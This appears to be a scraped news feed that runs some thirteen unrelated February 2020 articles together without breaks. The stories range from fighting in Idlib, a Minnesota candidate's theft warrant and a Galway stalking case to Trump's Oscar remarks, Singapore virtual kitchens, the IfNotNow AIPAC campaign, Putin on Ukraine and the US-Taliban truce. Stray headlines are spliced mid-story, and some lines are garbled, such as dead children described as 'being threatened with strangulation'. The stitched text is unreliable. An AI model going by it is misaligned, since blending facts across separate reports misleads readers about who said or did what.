Spokesman Fahrettin Altun said on Twitter, TASS reports. "Our troops deployed to Idlib to ensure peace and carry out humanitarian activities came under the [Assad] regimes attack, which killed two troops and left another five wounded," the tweet reads. The Turkish Defense Ministry earlier issued a statement about an airstrike on the Turkish positions. At the same time, the ministry reported that "over 50 [Syrian] regime soldiers were killed, five tanks, two armored vehicles, a self-propelled artillery gun and two military pickups were destroyed." Turkeys Anadolu news agency informed earlier on Thursday that the so-called armed Syrian opposition had launched an operation against government forces in the Idlib province. According to the Syrian Arab News Agency (SANA), Syrian troops managed to thwart the oppositions attacks. Danielle Stella, who hopes to challenge Democratic Representative Ilhan Omar for her congressional seat, has an outstanding warrant for her arrest. Ms Stella, an outspoken supporter of Donald Trump and an apparent adherent to the QAnon conspiracy theories, has been wanted for months for felony shoplifting in Hennepin County, Minnseota. The charges against Ms Stella allege that she stole 279 items worth more than $2,300 from Target. She insists she didnt break the law, but the Hennepin County Sheriffs Office told The Daily Beast that she did, in fact, have an active felony theft warrant. I am not guilty of these crimes. In this country I am innocent until proven guilty and that is the law, Ms Stella told The Guardian at the time of her arrest. Ms Stella missed multiple court hearings concerning her alleged felony, resulting in a judge issuing the warrant for her arrest. Recommended Republican running against Ilhan Omar banned from Twitter This is hardly the first controversy stirred by the candidate. Beyond her apparent belief in the QAnon conspiracy theories, she was also banned from Twitter in November for suggesting Ms Omar was working for the Iranian government and should be hanged for treason. If it is proven @IlhanMN passed sensitive info to Iran, she should be tried for #treason and hanged, she tweeted. Ms Stella is one of five Republicans hoping to challenge Ms Omar for her seat. One of Ms Stellas primary challengers, entrepreneur Lacy Johnson, suggested Ms Stellas outstanding criminal issues are a poor reflection on the Republican party. Candidates are reflections of the party in a way, and its not a good reflection of the party in a sense, he said. In a statement she made following her arrest, Ms Stella said if she was guilty of a crime, she wouldnt have run for office. If I was guilty of these crimes, I would never run for public office, putting myself in the public eye under a microscope to be attacked by all political sides, she said. She has also been arrested for stealing a bottle of tick spray for cats. AN obsessed stalker who relentlessly harassed a fellow NUIG student before breaking into her apartment and attacking her housemate with a claw-hammer has had his sentencing adjourned for a psychiatric report. At Galway Circuit Court, Det Garda Bernard McLoughlin detailed the methodical and relentless campaign of harassment undertaken by Igor Lewandowski (20) of Dunaras, Bishop ODonnell Road, Galway City against Eve McDowell between May 10-25th 2019. Last November the engineering student pleaded guilty to harassment and one count of aggravated burglary at an apartment at Dun na Coiribe student village on May 25, 2019. The court heard the highly intelligent Polish national, who moved to Monasterevin, in Co Kildare when he was ten years old, achieved 565 points in his leaving cert despite having no English when he arrived in Ireland a decade ago. Det McLoughlin detailed to Judge Rory McCabe the extreme lengths Lewandowski went to monitor his victim Eve McDowell (20) in the weeks leading up to the attack. During questioning, he admitted to gardai he would get up very early in the morning and follow Ms McDowell throughout the day as she went about her business. He told gardai he pinpointed a vantage point in Ms McDowells estate, Dun na Coiribe where he was able to monitor her front door and both entrances to the estate. On one particular day, he followed her to and from her work, to a nearby pub, and later to McDonald's and then back to her apartment. On one occasion, friends of Ms McDowells confronted Lewandowski who ran away and was found hiding behind a car. The court heard Ms McDowells friends advised him he was was not a very good stalker as he was easily recognisable by his beard and long hair. Following this incident on the morning of May 17, 2019, at 9 am the doorbell of Ms McDowell's apartment rang. Ms McDonnell observed a man pressed up against the glass panel of the door and attempting to turn the handle. Terrified she ran to the living room and moments later saw Lewandowski, who had shaved off his hair, beard and eyebrows, hiding in the bushes outside. It was at this point she contacted the gardai who issued Lewandowski with a warning. Over the next six days, Det Gda McLoughlin said Lewandowski "cooled off." However, on May 26, 2019, the pair happened upon each other on the grounds of NUIG, and Lewandowski again followed Ms McDowell home. Gardai were again alerted and began patrolling the area in search of Lewandowski but couldnt find him. Garda McLoughlin told the court that at 7 am the next morning, May 27th, gardai were alerted to an attack on a female in Dun na Coiribe. The court heard Lewandowski, armed with a claw hammer, used a scaffolding pole to mount himself up to the balcony on the first floor of the building and into Ms McDowell's apartment through an open kitchen window. Det McLoughlin pointed to the fact that Lewandowski came armed with a hammer and deliberately didnt bring his phone so as to avoid detection by gardai. On entering the property, Lewandowski encountered Ms McDowell's flatmate Alison Buiche, a nursing student, asleep on the couch in the living room. The court heard Ms Buiche woke to the noise her attacker's footsteps creaking across the floor. As she attempted to stand up Lewandowski without hesitation hit her a number of times with a claw hammer causing defensive injuries to her arms. As her screams alerted her flatmates, Lewandowski jumped from the first-floor balcony, spraining his ankle. He was arrested a short time later crawling along nearby Dyke road. During gardai interviews, Lewandowski made admissions but gave no comment replies when asked what his intentions were in the flat that day. The court heard two psychological reports found Lewandowski was socially isolated, lacked empathy and his behaviour pointed towards a certain psychological profile. Ms Buiche did not want her victim impact statement read aloud but it was handed into Judge Rory McCabe. In her victim impact statement read by Det McLoughlin, Eve McDowell said what would affect her for the rest of her life. "My trust in everyone, especially men, has been completely destroyed. This has distorted my view of people's intentions, shattered my confidence and has stripped me of my independence," she said. She said she suffered from night terrors, could not go out alone at night and was continually looking over her shoulder during the day. "I'm constantly concerned that someone is watching or following me. "Once my stalker gets out, I will have to leave Galway along with my friends and the life that I have worked so hard to build here. I won't feel safe here. "I don't know whether my life is in danger. I fear for my life and my safety," her statement read. Defence Counsel Patrick O'Sullivan BL said it was an extremely complex and difficult case. He said while his client's offences were very serious he appealed to Judge McCabe to consider Lewandowskis lack of previous convictions and co-operation with gardai. He said he is currently locked in his cell 23 hours a day having been removed from the general population for his own safety. He said his client accepts that he will not be able to continue his studies in Galway, but is hopeful he can resume his education in UCD after his release. He said his client is remorseful for his crimes having had time to reflect on them and had written a letter of apology. Judge Rory McCabe said the evidence before the court left too many unanswered questions about the risk posed by Lewandowski in the future. Noting that one psychological report assessed him of being at medium risk of reoffending Judge McCabe said he was not confident Lewandowski does not pose a significant risk. Adjourning sentencing May 21st, Judge McCabe ordered Lewandowski be assessed by a psychiatrist. Donald Trump ridiculed the historic best-picture Oscar win for South Korean film 'Parasite' telling a campaign rally he wished for the return of Hollywood classics like 1939s 'Gone with the Wind'. Colorado springs: President Donald Trump on Thursday ridiculed the historic best-picture Oscar win for South Korean film Parasite, telling a campaign rally he wished for the return of Hollywood classics like 1939s Gone with the Wind. Parasite, a dark social satire about the gap between rich and poor in modern Seoul, earlier this month became the first non-English-language film to take Hollywoods top prize. It also won three other Oscars - best director and original screenplay for Bong Joon Ho and best international feature film. How bad were the Academy Awards this year? asked Trump at the rally in Colorado Springs, Colorado. Imitating an Academy Awards presenter, he said: And the winner is a movie from South Korea. What the hell was that all about? Weve got enough problems with South Korea, with trade. And after all that, they give them the best movie of the year? Trump added. Can we get Gone With the Wind back, please? he said to thousands of supporters, referring to the film about the Civil War-era South that won the best-picture Oscar 80 years ago. TRUMP: "By the way, how bad where the Academy Awards this year? [Booing] 'And the winner is a movie from South Korea!' What was that all about? We got enough problems with South Korea out with trade." He then repeatedly calls Brad Pitt "a little wise guy." pic.twitter.com/sAEWlrKr0T Aaron Rupar (@atrupar) February 21, 2020 Trump also dismissed actor Brad Pitt, who won an Oscar for best-supporting actor for Once Upon a Time in Hollywood. Pitt said in accepting the award that he got more time to speak, 45 seconds than former national security adviser John Bolton received at Trumps Senate impeachment trial. I was never a big fan of his. Hes a little wise guy, Trump said of Pitt. Trump, who is on a four-day Western US swing, gave a harsh review as well of Wednesday nights Democratic presidential debate, particularly the performance of former New York Mayor Michael Bloomberg, who the president said had a ragged night. I was going to send him a note saying: Its not easy doing what I do, is it? Its not easy, Mike. Its not easy for any of them, he said of the contenders for the Democratic nomination to face him in Novembers election. Trump is set to return to Washington after speaking at a rally in Las Vegas on Friday. A forest in Madhya Pradesh is witnessing a strange sight of a pair of wild bears along with their two cubs getting drawn to the world of spirituality, an activity generally associated with humans. Swayed by the bhajans of a hermit, Sitaram, the wild bears have lent a new meaning to spirituality in the wild of Shahdol district. The bear family has become a part of his surroundings while the ascetic strikes a communion with the almighty. Sitaram, who has built a hut in the Rajmada forest area of the district, said the bear couple and their cubs frequent his home to listen to his hymning in rapt attention. When the 65-year-old hermit sings bhajans and plays harp after offering puja, the wild beasts walk down to his residence near the Son river from nearby Jaitpur jungles. These wild animals, far from attacking the sadhu, sit by side and slip into spiritual bliss hearing his bhajans. The mammals retreat and melt into the jungles after consuming the prasad offered by him, Sitaram said. According to the ascetic, he constructed his hut, located some 100km from the district headquarters, in 2003 and staying in the thicket since then. Sitaram said one fine morning some eight years ago, when he was singing bhajans, he felt some presence around. As I opened my eyes, I saw a bear couple in pin drop silence listening to my bhajans, he added. Sitaram said initially he got a bit frightened but observed that his uninvited guests looked composed. I gathered courage and started singing bhajans after which I offered them prasad which they gladly took and ate with delight before returning to the close by jungle. Now they frequently sit outside my hut which they do not enter. Of late, they have started bringing their two off- springs along. I have named the bear Lala and his partner Lalli and their cubs Chunnu and Munnu, he added. Sitaram said he has developed a deep bond with the wild animals. I have developed such friendship with them that now a day, I call them by their names and they know whom I am addressing, the hermit said with a sense of pride and joy about this human-animal camaraderie in the wild. They often hang around my hut, he said. Jaitpur Forest Range Officer Saleem Khan said he, too, has witnessed the bonhomie between the hermit and the peace- loving and spiritually-inclined bears many a time. It is absolutely a wonderful sight to watch them in spiritual realm in the wild, he added. (Clockwise from left: Menu from The Halal Food Blog, Chill Mom Kitchen, Little Miss Bento & Chiak Local by Miss Tam Chiak) Launched in partnership with virtual kitchen operator, Tampines Food Co, these four personality-led menus are the first of its kind in Singapore. The four local personalities will also give back to the community via funding a hand sanitiser for every S$10 purchase of their menu items on Foodpanda, GrabFood and at Tampines Food Co. Starting this month, prominent Singapore personalities fronting the brands Miss Tam Chiak, Little Miss Bento, The Halal Food Blog and The Chill Mom will launch their own virtual restaurant brands, rolling out Singapores first personality-led menus. Each brand offers delivery-optimised menus, which will also be made available for dine-in at Tampines Food Co. While the concept of virtual kitchens is all the buzz in other major cities like New York, it is still a relatively new concept in Singapore. We think its very clever of Tampines Food Co to launch this concept through partnerships with known online personalities who will be able to support the publicity with their personal branding. We tried out an item from each of the personalities menu and appreciate the variety and reasonable price-point. Menu and prices from each of the four virtual restaurants can be viewed here: Individual portion items start from as low as S$4+ and even the most expensive item works out to no more than S$15+. Due to the recent Covid-19 situation, many Singaporeans are opting to stay indoor more and receiving different dinner options such as Caribbean Food Delivery. An additional delivery meal option like Tampines Food Co is a big welcome. Moreover, its fronted by local personalities and priced pretty reasonably. Chiak Local by Miss Tam Chiak Chiak Local Menu: Ayam Bakar (Grilled Chicken) from Indonesian set- Price according to set It has always been Miss Tam Chiaks intention to introduce and endorse good eats in Singapore, and there is no better way to exemplify what we do, than to share these recommendations via our own virtual restaurant, shares Maureen Ow, founder of local food blog, Miss Tam Chiak. I am beyond excited to be able to launch my very own restaurant brand, without having to bear the set-up costs of a physical store, she adds. Story continues Her menu, Chiak Local, will feature hawker favourites such as CHIAK Minced Pork Noodles and CHIAK Penyet, which can be enjoyed a la carte or ordered via its set menus, packaged accordingly to party size. Quirky set menu names include No Money No Honey, which serves one; Lovey Dovey, ideal for couples, and Got Big Got Small, made for communal sharing among four. Unlike other food delivery options where orders must be made within a brand and hence limited to a single cuisine, the menus of these local personalities are varied and allow locals to enjoy more than one type of fare. Little Miss Bento by Shirley Wong Little Miss Bentos Menu: Sesame Soy Chicken Don $12.90 Food artist Shirley Wong offers a range of Japanese bento sets under her virtual restaurant brand, Little Miss Bento. Selections include mains such as Saba Teriyaki Don, sides like Wasabi Shaker Fries, complete with sweet treats like Matcha Adzuki cake, made from Kyoto Uji green powder with Hokkaido red beans. The food artist, who amassed an international following after she started posting pictures of her adorable bento box creations, is stoked at the idea of cultivating a bento-loving culture in Singapore with her virtual restaurant. Bentos are an integral part of Japanese cuisine and is a way of life for them, as it is for me, says Shirley. As the partnership with Tampines Food Co develops and unfolds, diners can expect to see more of the Little Miss Bento brand in the restaurant menu, she adds. The Halal Food Blog with co-founder Adam Shah The Halal Food Blogs Menu: The Smoke Stack (Beef Burger) $10.40 Food delivery services have become a common and convenient option in todays market, as the pace of lifestyle in Singapore grows increasingly hectic. This apparent shift in dining habits are the main reason why delivery-only kitchens are making waves in the local food scene. Kitchens no longer need to serve out food to a physical dining area; rather, they can exist successfully within a food delivery app, doing away with the hassle of employing wait staff and all other overheads that come with having a physical location. Having gone through the process of setting up our virtual restaurant and experiencing how easy it can be, I am more than convinced that this is the best way for entrepreneurs to start a food business. The future of food lies in deliveries, and I am thrilled to see how our brand will do, says Adam Shah, co-founder of The Halal Food Blog, an online halal food recommendation platform. The Halal Food Blog menu will consist of various halal-certified dishes, including traditional favourites like Ayam Bakar and Maggie Goreng, as well as modern halal eats such as pizzas and burgers. Not only is the menu a reflection of Adams favourites; it is also an expression of his personality, with amusing item names like The Quack (grilled smoked duck breast) and If Buffalos Could Fly (buffalo wings). I like that they are having a slice of my humour when they order from my menu, quips Adam. Chill Mom Kitchen by Michelle Hon Chill Mom Kitchen Menu: Feel Good Salad Bowl $8 Created in mind for busy mothers who want to feed their family well, Michelle Hons Chill Mom Kitchen menu was purposefully created for the family in mind, and is divided into options for dads, moms, and children. With this menu, theres something for every member of the family be it your meat-loving husband, wholesome fare for the children, or healthy options for the moms. I like that I no longer have to compromise what I really want to eat, which used to happen very often as the childrens choices usually reign when I order in, says Michelle. As a local mumpreneur who helps fellow moms build business from home, launching Chill Mom Kitchen was a dream come true for Michelle. Prior to having her firstborn, she was running a food and beverage business and always had the itch to return to the industry. Delivery kitchens are a wonderful startup incubator, says Michelle, who currently runs two successful businesses. It provides new entrepreneurs the perfect space for tasks such as menu research and development, and acts as a test bed for their products, at the lowest cost possible, she adds. I hope the success of my newest venture will encourage more mothers to approach the idea of starting their own businesses, she adds. Launch Date All four menus area now available via major food delivery apps Foodpanda and GrabFood, as well as for dine-in at Tampines Food Co. The four virtual restaurants went live on Wednesday, 19 February 2020 and are all open for orders now. Go try them! Launch Promotion and Community Give-Back In line with the launch and in view of the Covid-19 outbreak, the four personalities will offer S$3 off with a minimum purchase of S$15 (applicable to dine-in at Tampines Food Co., and online orders on Foodpanda and GrabFood), as well as fund the delivery cost for any order on Foodpanda and GrabFood from their virtual restaurants in February and March 2020. At the same time, they will be funding a hand sanitiser for neighbours in need (lower-income group), for every S$10 purchase made at each of their virtual restaurants on Foodpanda, GrabFood and at Tampines Food Co., as a way of giving back to society. Tampines Food Co., which houses all 4 virtual kitchens, is also offering free delivery on Foodpanda for all the other restaurants under its purview. There will also be a 25% discount off a minimum purchase of S$15 on Grabfood, where menu items start from an affordable S$4.90. About Tampines Food Co. Tampines Food Co. is an exciting new delivery kitchen concept that bring you a community of restaurateurs, from local to international brands across cuisines. You may mix and match items to fit all budgets and preferences and also enjoy exclusive delivery-only brands. Enjoy affordable eats in its hipster communal dining space, or choose to have your meals delivered to you via Grabfood and Foodpanda. Find your favourite neighbourhood wholesome meals at Tampines Food Co., 10 Tampines North Drive 4, #01-05 Singapore 528553, open daily from 11:30am to 10pm (last order at 9:00pm). (JNS)-The anti-Israel group IfNotNow approached the leading Democratic presidential candidates in New Hampshire, ahead of the state's primary on Tuesday, to ask if they will skip the annual AIPAC Policy Conference next month-only to get one commitment so far. That commitment was from Sen. Elizabeth Warren (D-Mass.), who relayed her decision via an answer to a question by a potential constituent at a town hall in Derry on Feb. 6. "I'm an American Jew, and I'm terrified by the unholy alliance that AIPAC is forming with Islamaphobes and anti-Semites and white nationalists. And no Democrat should legitimize that kind of bigotry by attending their annual policy conference. I'm really grateful you skipped the AIPAC conference last year, so my question is if you'll join me in committing to skip the AIPAC conference this march?" asked an IfNotNow activist named Sarah, who also asked Sen. Bernie Sanders (I-Vt.) the same question at a town hall in the same town the day before. Warren simply replied, "Yeah." Tonight, Elizabeth Warren nodded along and smiled as a questioner slandered AIPAC as "an unholy alliance" of "Islamophobes," "anti-Semites, and white nationalists" that perpetuates "bigotry" Without blinking, Warren then agreed to boycott next year's AIPAC conference. "The way I see this, is that for America to be a good ally of Israel and of the Palestinians, we need to encourage both parties to get to the negotiating table," said Warren. Sanders said he would have "no objection to going." Former U.S. Vice President Joe Biden followed suit. "Mr. Vice President, Elizabeth Warren just committed to skipping AIPAC earlier this week which is a right-wing lobby that pours millions of dollars to defeat, and then to end the Iran Deal that you worked so hard to pass. Will you join her in committing to skip the AIPAC Policy Conference this year?" asked the same IfNotNow activist named Sarah. Biden responded, "No, because I'm there to convince." The activist asked, "Convince of what?" "Convince them to change their position," replied Biden. Instead he's going to "convince them to change their position." Biden's strategy that he'll change AIPAC with a speech is as laughable & dangerous as his belief that he will be able to work with McConnell on bipartisan legislation. An IfNotNow activist named Addie asked former South Bend, Ind., Mayor Pete Buttigieg if he would agree to the group's "#SkipAIPAC" campaign. "I haven't made any scheduling decisions about that," he responded, adding "I don't even know when it is." "Israel's decades-long occupation has eroded the bipartisan consensus on Israel and AIPAC, in a last-ditch effort to maintain influence, now anchors an unholy alliance with antisemites, Islamophobes and white nationalists," said IfNotNow co-founder Emily Mayer in a statement. "This unholy alliance shields the Israeli government from any consequences for its actions and pushes for a blank check that has had disastrous effects for both Palestinians and Israelis," she continued. "No Democrat should give AIPAC political cover with their presence." AIPAC declined to comment on the IfNotNow campaign. The AIPAC conference will be held in Washington, D.C., on March 1-3, with the last day being Super Tuesday, where the greatest number of states hold primaries and caucuses. The Republican Jewish Coalition offered a backhanded compliment to IfNotNow's initiative. "We would like to sincerely thank IfNotNow for showing American Jews just how out of sync the Democrats' presidential candidates are with mainstream Jewish values," RJC spokesperson Neil Strauss told JNS. The Jewish Democratic Council of America refuted RJC and, without calling out IfNotNow by name, said that it's unproductive for groups pressuring the candidates to skip AIPAC. "We have said it before and we'll say it again-it's not productive for outside groups to seek to create divisions between Democrats on Israel when they don't otherwise exist," JDCA executive director Halie Soifer told JNS. "We will be participating in AIPAC Policy Conference and know many Democrats will attend as well." Protester removed from the crowd In related news, IfNotNow interrupted a Cops for Trump event in New Hampshire on Monday featuring U.S. Vice President Mike Pence, who was interrupted when he began speaking with chants of "Trump endangers Jews!" The three IfNotNow activists held up a sign that was snatched by a fellow attendee, and they were forcibly escorted from the event. "Our community is terrified of the white national violence you are inciting," a protester shouted as they were being forcibly removed from the crowd. Last year, IfNotNow approached Democratic presidential candidates as representatives of the Jewish community and asking them about ending the so-called "occupation" of the West Bank. Two IfNotNow activists approached Warren, who was campaigning last week in New Hampshire, with University of Michigan student Becca Lubow announcing publicly, "We really love the way you're fighting corruption. We'd really love it if you also pushed the Israeli government to end occupation." "Yes, yes. So I'm there," responded Warren swiftly, followed by taking a picture with the activists. Despite defining themselves as a "progressive" group "grounded in the values of the Jewish tradition," many observers see the organization as outside of the mainstream. "IfNotNow officially isn't against the BDS Movement and doesn't take a position on whether Israel has a right to exist or, for that matter, Zionism," former National Jewish Democratic Council head Aaron Keyak told JNS. "Given the primary calendar, if a candidate doesn't have time in their busy schedule to attend Policy Conference, I get that, but IfNotNow is a fringe organization that doesn't represent anything close to the opinion of Jewish Americans." According to its mission, IfNowNow seeks to "end American Jewish support for the occupation," which advocates say is "is a system of violence and separation by which Israel denies Palestinians freedom and dignity by depriving them of civil, political and economic rights." The term "occupation" initially applied to Palestinian areas the Israelis oversaw after gaining land (eastern Jerusalem, the West Bank, the Gaza Strip, the Golan Heights and much of the Sinai) in the 1967 Six-Day War-land the Arabs refused to negotiate as part of the Khartoum Conference in 1968, signified by "Three No's" in reference to Israel: no peace, no recognition, no negotiations. Ever since then, the word has been used by anti-Israel groups in the attempt to delegitimize Israel. Yet as with most terminology used in the Israeli-Palestinian conflict, no clear definition exists, even after the Palestinian Authority has overseen Arab-majority sections (known as Area A under the Oslo Accords) of the West Bank since 1994 and Hamas has run Gaza since 2007 (taking it away from the P.A. after Israelis withdrew in 2005). Egypt negotiated with Israel to get the Sinai back in 1982 as part of direct negotiations with Israel. Still, some consider all of Israel to be "occupied" territory. "We understand the occupation as the military rule over Palestinians in the West Bank, East Jerusalem and Gaza," IfNotNow spokesperson Yonah Lieberman previously told JNS. "We also know that the discrimination and displacement inside Israel's 1948 borders are connected to its rule in those Occupied Territories. This system of violence deprives all Palestinians of civil, political and economic rights." As someone who grew up in Mexico City, did you take some ownership over the accuracy with which all of this stuff is being presented? Did you feel you had a responsibility beyond your character to make sure things were done in the right way? I do with everything I do, not just with Narcos. I had a long conversation with Eric Newman, and from the beginning I said that if we were going to tell a story about good people chasing bad guys, Im not interested. Because if it were that simple, we wouldnt be going through this nightmare that persists today. To me, it was important to see how every level of power has to be involved in order for something like Gallardos cartel to exist. And to operate so well, to be such a great business for so many. I wanted to see how complicated it was not just the Mexican structure, but the demand in the States that needs to be there for this to happen. You were a small child during the time these two seasons take place. Do you have any memory of what it was like to be raised in this environment? It seems like the rigging of the 88 elections, which is shown in the second season, was a particularly important event. In 88, I started to have more independence and to be more conscious of where I was living. I could see something was happening. I could feel the energy. I come from a very political family. I remember loud discussions whenever the family got together about what was happening, and this first feeling of a real democracy developing after so many years of having P.R.I. [the Institutional Revolutionary Party] in power. A very good writer in Mexico, Jose Agustin, calls it the institutional monarchy. P.R.I. ran Mexico for 70 years, just pretending there was a thing called democracy every six years when, in fact, it was just a theater play. Suddenly this theater play wasnt any more just a play, and you could feel that energy of change approaching. How do you see the series accounting for how things are in the present day? We can still see the complications and corruption in front of us now. The great business drugs has been and still is for many people in the government, in the business world, in the police, in the military and how corruption has reached every level of society. The TV series raises these issues, but in the end, its just a TV series. I hope this detonates the expectation and desire of audiences to go out and go deeper to understand whats going on. What do you think Americans need to understand about the drug war from a Mexican perspective that they may not understand now? The violence were living with in Mexico is not our violence. Its a violence that belongs to a global problem that needs a global solution. It has to be tackled like that, or it will never be solved. I would like people to remember that the violence in Mexico has to stop, and we need your help. We need the help of everyone. Its not something we can do ourselves. Im talking about citizens to be clear, Im not talking about intervention. We are all part of this. This violence wouldnt exist if there was no market. The race for Manhattan borough president is still well over a year away, but New York City Councilman Ben Kallos has already locked up literally dozens of labor union endorsements. And now he has gained the support of arguably the most prominent individual to weigh in on the race so far Rep. Carolyn Maloney. Maloney is the first, and so far only, member of Congress to endorse a candidate in the Manhattan borough presidents race. Shes also the first sitting lawmaker to back Kallos campaign. Its about getting things done, and Ive been proud to work with Council Member Ben Kallos to deliver for the East Side, which is why I am endorsing him to bring the same results to the entire borough as the next Manhattan Borough President, Maloney said in a statement provided to City & State. Although he has been leading in union endorsements, Kallos has lagged behind his competitor City Councilman Mark Levine when it comes to support from fellow elected officials. But support from someone as significant as Maloney could give Kallos a boost as the race heats up. I think Maloney is very, very important, Kallos told City & State. There are only three Congress members that really represent Manhattan, and so I think it is a big deal. Four House members represent at least some portion of Manhattan, but Rep. Nydia Velasquezs district includes only a sliver of the borough and covers more of Queens and Brooklyn. Maloney joins 73 labor unions, including some smaller locals, that have publicly backed Kallos for Manhattan borough president, a number that the councilman proudly touts. Those include the New York Professional Nurses Union, the New York State Iron Workers District Council and a variety of locals of unions like the Iron Workers District Council. As of now, Levine has no union endorsements. Kallos said that his own strong stances opposing real estate interests and standing up to Mayor Bill de Blasio, as well as his past as a labor lawyer representing unions, drove the support hes seeing now. He added that union leaders were urging him to make his run official last year, prompting him to announce in October, jumping in early even by todays standards. Anyone whos ever done politics in our city knows just how our unions, our organized labor is, Kallos said. This is a union town, and between the support of Congress member Carolyn Maloney and labor unions, I see a strong path moving forward to be the next Manhattan borough president. In addition to his union backers, Kallos also points to his record of standing up to real estate and other big dollar interests. He has forgone campaign contributions from members of the real estate industry since he first ran for office in 2013. And while that practice has grown more popular among progressive candidates, Kallos said he also does not accept any corporate or lobbyist money, going a step further. For me, its about credibility with the voters, and them knowing that the person who is saying theyre willing to stand up for the neighborhood isnt selling them out, Kallos said. He said his independence from developers has allowed him to negotiate with them to build more schools, reduce the impact of major developments and engage in a first of its kind community rezoning. So theres been a lot that Ive been able to do in my local districts, but a lot more that Id like to do for the entire borough of Manhattan, Kallos told City & State. Last year, Kallos also got legislation passed that revamped the citys campaign finance system, lowering contribution limits and increasing the matching ratio for public funds to decrease the influence of large donors while empowering small donors. And he advocated for a City Charter amendment approved in November that ensures borough presidents a baseline budget to protect them from potential mayoral retaliation for taking a stand against administration interests. He offered both as further evidence of his commitment to being an independent advocate for Manhattan, following in the footsteps of Borough President Gale Brewer. One potential obstacle for any candidate announcing as early as Kallos is keeping up the momentum until the 2021 election. But he said that he doesnt expect that to be an issue as he continues to roll out new ideas, both as part of his campaign and as he finishes his City Council term. The seeds weve planted now will continue to grow, Kallos said. Im not worried about losing momentum because I think our record of accomplishment has only begun. New integration in G Suite Marketplace delivers powerful PDF tools to individuals and enterprises, for work and life. On the surface, Google Suite is a free set of simple-to-use cloud-based tools, but theres so much more once you dig in. Adobe announced the availability of Adobe Acrobat for Google Drive in the G Suite Marketplace. With the new integration, now more than 1 billion people who use Google Drive to store more than 2 trillion digital files from Sheets and Docs, to JPEGs, PSDs and PDFs can use Acrobats best-in-class PDF tools to create, view, annotate, modify, share and sign PDFs without leaving Google Drive. Acrobat users who use Drive already will be thrilled to no longer need to switch between apps just to use the PDF tools they rely on the most. On the surface, Google Suite is a free set of simple-to-use cloud-based tools, but theres so much more once you dig in. Beyond Gmail, Calendars and Docs, Google Drive is arguably the one thread that ties all G Suite apps together. Since all your files live in Drive, Gmail can share files from it, Calendars can link to files in it and you, and others, can collaborate in it from any device. With the Acrobat for Google Drive integration, anyone can view, search and annotate PDFs for free. If youre an Acrobat DC subscriber, you can immediately take advantage of additional functionality: Create high-quality PDFs that preserve fonts, formatting, and layouts Modify and organize existing PDFs by deleting, reordering and rotating Combine multiple file types including PDF, Google Docs, Google Sheets, Google Slides, Microsoft Office, image, text, and Adobe design files into a single PDF to save or share Export PDFs into editable Microsoft Word, Excel, PowerPoint, or RTF files while preserving fonts, formatting, and layouts Send a document for e-signature and track its progress Automatically save all changes back to Drive All in all, the best thing about the Acrobat and Google Drive integration is that its applicable to everyone personally, professionally, or wherever you fall in the middle. You can use Acrobat and Drive to plan your passion project, organize your online office or slay your side hustle. No matter where life takes you, you'll have important PDFs in the mix: resumes, references, medical histories, tax forms and legal documents. Now, youll have the best PDF tools right alongside your most important files so you can be the most organized and most productive you that you can be. Now, thats satisfying. In addition to Google Drives 1 billion individual users, millions of companies use Drive as well. If you have an IT admin at your office, they can easily flip the integration on switch for you and your team. In fact, in just a few short weeks, IT admins have already turned the integration on for more than 200,000 employees at companies large and small. With deep integrations into Microsoft, Dropbox, Box and others already, were continuing to provide everyone with the best PDF tools wherever they choose to work. The new Adobe Acrobat integration with Google Drive is now available for individual and enterprises users. Visit the G Suite Marketplace to download today. At the same time, Putin recalled Moscow and Kyiv had managed to agree on a prisoner swap, as well as on gas transit through Ukraine. Russian President Vladimir Putin has said Russia and Ukraine are not friends anymore, but he hopes for an agreement with his Ukrainian counterpart Volodymyr Zelensky on improving relations between the two countries. "There's always hope," Putin told Russian news agency TASS in an interview for the project "20 Questions with Vladimir Putin." By the same token, he pointed to certain changes in the stance of his Ukrainian counterpart. "Unfortunately, as you see, after returning from Paris [from the Normandy Four summit between Germany, Russia, Ukraine and France on December 9], he [Zelensky] started talking about the necessity to review the Minsk Agreements. This begs the question," Putin said. At the same time, he recalled Moscow and Kyiv had managed to agree on a prisoner swap, as well as on gas transit through Ukraine. Read alsoNo prospects for Donbas settlement until Russia stops arms supplies Prystaiko Putin also said Russia and Ukraine had a great deal to share, although some rifts certainly existed. He said "Russia is sustaining losses from the lack of friendship with Ukraine." "I have said time and again, I believe that we are the same people. I don't know whether they [Ukrainians] like this or not, but if you look at the real situation, that is true," Putin said. The Russian leader acknowledged: "Many things do divide us, but we should not forget about the bonds that unite us. Also, we should avoid ruining what we have." UNIAN memo. Russia annexed Ukraine's Crimea in March 2014 after its troops had occupied the peninsula. An illegal referendum was held for Crimeans to decide on accession to Russia. De-facto Crimean authorities reported that allegedly 96.77% of the Crimean population had voted for joining Russia. On March 18, 2014, the so-called agreement on the accession of Crimea and the city of Sevastopol to Russia was signed in the Kremlin. The West did not recognize the annexation in response to which sanctions against Russia were introduced. Ukraine's parliament voted to designate February 20, 2014, as the official date when the temporary occupation of Crimea began. After the annexation of Crimea by Russia in March 2014, Ukraine's east was seized by Russian-backed forces, and on April 15, 2014, the Ukrainian government had to launch its first formal military action against the invaders who had seized government buildings in towns and cities across eastern Ukraine. Less than a month later, the armed forces in the eastern regions of Donetsk and Luhansk declared independence after unrecognized referendums. Motihari The case that has come up recently is from the Chakia police station area of East Champaran district of Bihar. Where today, on Friday morning, three bodies have been recovered by the police from a house. In this case, it is feared that the mother and two children have been murdered in the house. According to the received news, now the police have started investigating this matter after filing this case. Workshop mechanic's body found hanging on tree, police engaged in investigation A police officer said in this case, "Mohammad Noor Alam, a resident of Harharpur Kishuni village, works in Saudi Arabia. Noor Alam's wife Rukhsana and his two children lived at home. Rukhsana's husband was calling constantly on Thursday night, but no one was picking up the phone. After this, Noor Alam informed Rukhsana's brother. When Rukhsana's brother came to his sister's house, he saw the three dead bodies lying in a room. police is investigating the case.' Husband kept his wife as an animal for dowry, had unnatural sex This case cannot be called this first case because all such cases which have come before it have surprised the people. In this case, the police said that "Rukhsana has head injuries, while his son Mohammad Masoom and daughter Shabana are being threatened with strangulation." Further, the police also informed that the police is investigating from all angles and the culprits will be arrested soon. Delhi Crime: Real IAS officer Abhishek Singh will be seen in the lead role in second season ISLAMABAD A temporary truce between the United States and the Taliban took effect on Friday, setting the stage for the two sides to sign a peace deal next week aimed at ending 18 years of war in Afghanistan and bringing U.S. troops home. If successfully implemented, the weeklong reduction in violence agreement, which came into force at midnight Friday local time (1930 GMT, 2:30 p.m. EST), will be followed by the signing of the peace accord on Feb. 29, wrapping up Americas longest-running conflict and fulfilling one of President Donald Trumps main campaign promises. Fridays announcement of an agreement on terms for a peace deal follows months of 